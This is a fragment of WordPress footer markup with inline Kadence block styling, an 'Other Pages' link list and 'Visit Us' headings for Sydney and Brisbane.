<style>.kadence-columndb984d-cd > .kt-inside-inner-col,.kadence-columndb984d-cd > .kt-inside-inner-col:before{border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;}.kadence-columndb984d-cd > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-columndb984d-cd > .kt-inside-inner-col{flex-direction:column;}.kadence-columndb984d-cd > .kt-inside-inner-col > .aligncenter{width:100%;}.kadence-columndb984d-cd > .kt-inside-inner-col:before{opacity:0.3;}.kadence-columndb984d-cd{position:relative;}@media all and (max-width: 1024px){.kadence-columndb984d-cd > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-columndb984d-cd > .kt-inside-inner-col{flex-direction:column;}}</style>
<div class="wp-block-kadence-column kadence-columndb984d-cd"><div class="kt-inside-inner-col"><style>.wp-block-kadence-advancedheading.kt-adv-heading98dce8-20, .wp-block-kadence-advancedheading.kt-adv-heading98dce8-20[data-kb-block="kb-adv-heading98dce8-20"]{margin-bottom:16px;font-size:16px;line-height:1.3;font-style:normal;color:#787da6;}.wp-block-kadence-advancedheading.kt-adv-heading98dce8-20 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading98dce8-20[data-kb-block="kb-adv-heading98dce8-20"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-heading98dce8-20 wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading98dce8-20">Other Pages</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items226a91-b5 kt-svg-icon-list-columns-1 alignnone py8"><ul class="kt-svg-icon-list"><style>.kt-svg-icon-list-item-804f79-7f .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-804f79-7f"><a href="/knowledge-hub/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Blog</span></a></li>


<style>.kt-svg-icon-list-item-eb24af-79 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-eb24af-79"><a href="/checklist-resources/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Help</span></a></li>


<style>.kt-svg-icon-list-item-6155dd-89 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-6155dd-89"><a href="/privacy/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Privacy Statement</span></a></li>


<style>.kt-svg-icon-list-item-9ffb75-68 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-9ffb75-68"><a href="/complaints/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Complaints</span></a></li>


<style>.kt-svg-icon-list-item-84f67f-35 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-84f67f-35"><a href="/glossary/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Glossary</span></a></li>
</ul></div>
</div></div>


<style>.kadence-column1263cf-43 > .kt-inside-inner-col,.kadence-column1263cf-43 > .kt-inside-inner-col:before{border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;}.kadence-column1263cf-43 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column1263cf-43 > .kt-inside-inner-col{flex-direction:column;}.kadence-column1263cf-43 > .kt-inside-inner-col > .aligncenter{width:100%;}.kadence-column1263cf-43 > .kt-inside-inner-col:before{opacity:0.3;}.kadence-column1263cf-43{position:relative;}@media all and (max-width: 1024px){.kadence-column1263cf-43 > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-column1263cf-43 > .kt-inside-inner-col{flex-direction:column;}}</style>
<div class="wp-block-kadence-column kadence-column1263cf-43"><div class="kt-inside-inner-col"><style>.wp-block-kadence-advancedheading.kt-adv-headingf48795-b5, .wp-block-kadence-advancedheading.kt-adv-headingf48795-b5[data-kb-block="kb-adv-headingf48795-b5"]{margin-bottom:16px;font-size:16px;line-height:1.3;font-style:normal;color:#787da6;}.wp-block-kadence-advancedheading.kt-adv-headingf48795-b5 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headingf48795-b5[data-kb-block="kb-adv-headingf48795-b5"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-headingf48795-b5 wp-block-kadence-advancedheading" data-kb-block="kb-adv-headingf48795-b5">Visit Us</h3>


<style>.wp-block-kadence-advancedheading.kt-adv-heading97cfab-3a, .wp-block-kadence-advancedheading.kt-adv-heading97cfab-3a[data-kb-block="kb-adv-heading97cfab-3a"]{margin-bottom:8px;font-size:14px;line-height:1.5;font-style:normal;}.wp-block-kadence-advancedheading.kt-adv-heading97cfab-3a mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading97cfab-3a[data-kb-block="kb-adv-heading97cfab-3a"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-heading97cfab-3a wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-heading97cfab-3a">Sydney</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items194f66-67:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items194f66-67 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
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<h3 class="kt-adv-headingef6771-cb wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-headingef6771-cb">Brisbane</h3>


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